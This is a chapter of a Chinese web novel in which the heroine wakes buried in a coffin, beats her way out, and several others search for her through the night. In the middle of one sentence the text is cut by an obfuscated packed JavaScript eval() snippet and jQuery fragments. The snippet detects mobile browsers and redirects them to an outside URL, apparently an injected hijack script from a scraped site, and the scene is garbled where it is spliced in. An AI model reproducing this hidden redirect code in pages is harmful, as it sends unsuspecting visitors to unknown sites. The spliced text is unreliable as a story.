“你想去哪!”蒋冉咬紧牙关,将帕子往身后一掷,声音陡然尖利起来,
“你以为你还能赶得及?你以为你还找得到她?她今日必死无疑,必死无疑,你听懂没有!”
蒋为怔了怔,背影没来由地缩了一下。
“哥哥这唱的哪出?她的血你手上也沾了半分!这时候想去英雄救美,我看你是假戏真做把自己都骗进去了!”蒋冉一点没给他反应的机会,句句刺在他心头。
身前人迟缓片刻后,还是掀开帐帘而去,空余蒋冉一声怒吼散在屋里:
“蒋为——!”
整个林间毫无生机,没有风声,更无虫鸣,连一丝草木晃动的声响都不曾惊起,仿佛白日的那场喧嚣只是黄粱一梦。
他漫无目的地朝前走着,伤口还未痊愈,步履牵扯下隐隐渗出血来,浸得他半边衣袖都红了,只是在这黑夜中,也无人注意得到。
身上之痛远不及心口密密层层袭来的胀痛。
蒋冉说的对,她的血自己早就沾了半分,如今这样狼狈奔走,又是逞什么英雄?装什么情深?
可双腿就是不听使唤,兀自往前迈着,目光疯了般在黑暗里四下找寻着什么。
原来身体比思想更先出卖他。
——
夜色深处。
“啪嗒——”
腰间系着的香囊不知何时悄然断裂,丝线一松,灯笼失去依托,顺着他的衣摆飘飘然滑落,掉在地上发出无声闷响,连尘土都未扬起多少。
事虽不大,这动静却像块石子冷不丁砸在人心口上,硌得慌。
孟槐安迅速捡起香囊,拭去表面灰尘。
前段时间他接到广陵传来的密报,得知阿杳在江南途中遇刺,消息一到,他当即修书飞传回去,命裴蘅与姜媚堂二人务必替他牢牢看顾。
但心下还是不安,于是临时改变计划,快马加鞭赶回来。
眼下香囊陡然一断,那份藏在心底的不安,终于被彻底点燃。
他唤来侍卫:“现在几更天了?”
“回将军,四更。”
“四更...四更天...”他不断重复着,原定回广陵还有三天,他等不了了。
“备马,我现在出发。”
四更天,夜色浓黑得化不开,只有被风吹散的几缕月光寂寥地洒在这大地。
偶尔几声夜鸟怪叫划破这种死寂,又像被什么扼住,声音猝然掐断。
急促的马蹄声在这夜里格外刺耳,踏碎一地月光,也踏碎孟槐安那点按捺不住的心绪。
马鞭扬起又落下,风声急急地在耳边呼啸,他却只觉得太慢。
快点,
再快点。
——
“咳咳...”
宋杳是被一股浓烈的腥涩味呛醒的,她全身散架般疼痛:
“霜降,霜降?”
无人回应。
怎么回事?
不对,这里不是营帐!
眼前的黑像被墨汁泼洒过,稠得根本抹不开,死死糊在眼前,遮得一丝光线也无。
周遭静得异常。
那种静不算人散离场的空,也不止深山老林的寂,而是一股把所有声音都泡在水里闷死的感觉。
耳朵像被棉花牢牢塞住,什么都听不真切。只剩她自己慌乱的呼吸声,在这空间里反复回荡。还有心跳的震荡声,一下下撞击耳膜,听得人头皮发麻。
紧接着,是呛醒她的那股腥涩味,层层叠叠压过来。也不是腥,倒像一股子阴干的潮味,一吸便黏在嗓子眼下不去,这味儿沉的发苦,一入肺里就让人止不住想咳出去。
这根本不是营帐。
那这是哪?
宋杳撑起手肘想起身,可下一瞬,头却“砰”的一声撞上硬物。
她才刚醒没多久,意识还比较涣散,但这撞击造成的痛感却顺着额头蔓延开来,让她心里一落。
不祥的预感,像条冰冷毒蛇,悄无声息爬上她的心口。
她战战兢兢伸出手,在黑暗中迟缓摸索着。
先是粗糙的木板倒刺剌破掌心,接着是一股不知从哪里钻出来的阴冷湿气,顺着皮肤就往骨子里探。
再往下,脚尖抵在一块崎岖不堪的木块上,纹理硌进脚心,触感直蔓全身。
四四方方,不长不短,刚好容她一人平躺。
一个荒唐又可怖的念头,猛地栽进脑海。
是棺材!
大脑一片空白。
怎么回事,她不是在营帐内休息吗?
但这种情况下,已经容不得她细究缘由。
那股后知后觉的恐惧让她忍不住打了个激灵。
该怎么办?
她不能急。
宋杳先伸出手去探查四周剩余的空间,所幸还不算太逼仄。又背过手撑在腰后,一点点将身子往上送,直至额头再次死死扣在那层盖紧的木板上。
黑暗里她什么都看不见,只能靠鼻子去探那丝微弱湿气的来路,用手去捕捉那一线渺茫的生机。
那股凉丝丝的气息,在耳边,她用指尖往那个方向寻,是缝隙,也是生。
留有缝隙说明棺材并未钉死,有空气渗进来,哪怕稀薄,也够她撑上一时半刻。
她又用手掌敲击棺底,木板发出闷重声响,是实。
再复敲两侧与顶部,木板发出清脆回声,是虚。
有回响说明埋得并不扎实,音色清脆说明木板并不厚重。
刚刚那点子生,被这声拉的更长、更久。
她从来不是个坐以待毙的人。
该怎么出去呢?
压抑的氛围让她不自觉攥紧拳头,直到掌心传来刺痛,才发觉自己太过用力。
力?
是啊,这段时间她不是日日都在锻炼吗。
原来生本就握在自己手中。
她当即褪下外衣蒙住口鼻,防止一泻而下的泥土呛进嗓子,随后用脚尖抵住棺前木板,借着反力,握紧拳头狠狠向上砸去。
一下。
两下。
棺板纹丝不动,只有附在表面的浮土被重力震得往下落,钻进衣领,又痒又闷。
也不知这样麻木挥拳过了多久。
宋杳热得满头大汗,全身上下像被泡在水里,黏腻的衣裳贴紧肌肤,压得她呼吸不过来。
狭窄的棺内,热气闷在里头散不开,混着土腥味裹得她头晕目眩。
手臂更是酸胀得快要抬不起来,每一次挥拳都像拖着千斤重物。
指节早就打得皮开肉绽,整只拳头血肉模糊。
木刺扎进皮肉里,起初是痛得发颤,后来这痛感就变了,像是拿钉子钉在她每寸骨头上,震得她快碎了。
直到嘴里漫开一缕腥甜,那甜意顺着喉咙就往肺里爬去,腥的她反胃。
死吧。
死,是一件很简单的事情。只要轻轻闭上眼睛,她就可以不用这么痛苦。
宋杳挥拳的动作逐渐有些力不从心。
是啊,死吧。
掌心攥紧的地方凝着一滴血,悬了太久,摇摇欲坠。
“啪嗒——”
掉在她的眼角,缓缓滑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582046|204805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下,是凉的。
脑海里蹦出很多声音:
小姐、杳杳、阿杳、小丫头、宋小姐。
还有人在等她,她不能就这么认命。
活,是比死要艰难数倍的事情。但即便如此,她也要用尽最后一丝力气,一拳一拳为自己砸出条生路。
“咔嚓——”
有什么东西落下来,又有什么东西碎开。
起初是一点,掉在身上没知觉,后来是很多,砸在身上是希望。
板子,开了。
她哆嗦着用弯曲的手腕拂开碎土,往脚下推去,又吃力地抬起身子,泥土倾泻而下落在身后,将她一点点扶起。
手掌最先探出土堆,还半维持着握拳的状态。
有风吹来,她颤抖地将手掌撑开,想感受更多。
微风带着一点暖意从她的手腕绕到指尖,像在舔舐那些破裂的伤口。
她,活了。
——
五更天,蒋为还是没找到宋杳。
一些零碎的记忆,却在此刻悄悄往上攀,他用力摇头想摆脱,可怎么也甩不掉。
那些念头就像久旱的藤蔓,逢到甘霖便疯狂往上冒。
是永宁的话。
“死,在我这里算恩赐,蒋公子可明白?”
“死,是恩赐。”他失神喃喃。
还是永宁:“我要的是让她,在死中得生、生中望死。”
所以木板不会钉死,是要留她生的希望。
所以棺材埋得不会夯实,是给她逃出生天的机会。
可她,也从没想过让她真的活。
因为一旦破土迎风,体内潜藏的毒便会顺着肺腑游走四肢,呼吸越急,毒发得就越快。
那毒先僵手脚,再乱神志,最后蚀心夺命。
座上女子笑的春风拂面,她意犹未尽地看向地上叩首人影:“蒋公子觉得,我这可是恩赐?”
这些记忆又爬了上来。
他挥手想打碎这些念想,可伤口渗出的血早就将他双手染得鲜红,此刻挥动间显得格外刺眼。
“她的血,你手上也沾了半分!”
是蒋冉的话。
不,没有。
他没有迷晕她,没有活埋,更没有喂毒,这些都跟他无关。
“没有,我什么都没有干!”
失血过多,他再次晕了过去,只是嘴边还在重复着没有。
——
五更天,霜降发现宋杳不见了。
“小姐!小姐!”
帐内空荡荡只剩她一人,不见小姐身影,她急得四下乱喊,胡乱扯了件外裳就要出门去寻。
刚碰到帐帘,脚步忽然顿住。
小姐说过,任何时候都不能急。
要冷静,要用脑子去想,不能自乱阵脚。
她强按下心中慌张,回到帐内,细细打量每一处痕迹。
外裳还整整齐齐叠在榻边,鞋袜分毫未动,显然不是自行离开。
昨晚回来已是二更天,不过几个时辰,就算被带走也跑不了多远,人必定还在这片山间。
此刻天还没完全亮,若此时声张,只会打草惊蛇。
心里敲定主意,她先寻了值守侍卫,只说自家小姐身子不适,劳烦通传宋大人前来探望。
待见到宋思稷,才压低声音,将前后原由快速禀明。
宋思稷吓得脸色发白,良久才缓过劲,但也根本无暇多作惊惶,回过神便立刻匆匆下去布置。
待他离去后,霜降掀开帐帘,孤身一人朝着晨雾弥漫的山林深处寻去。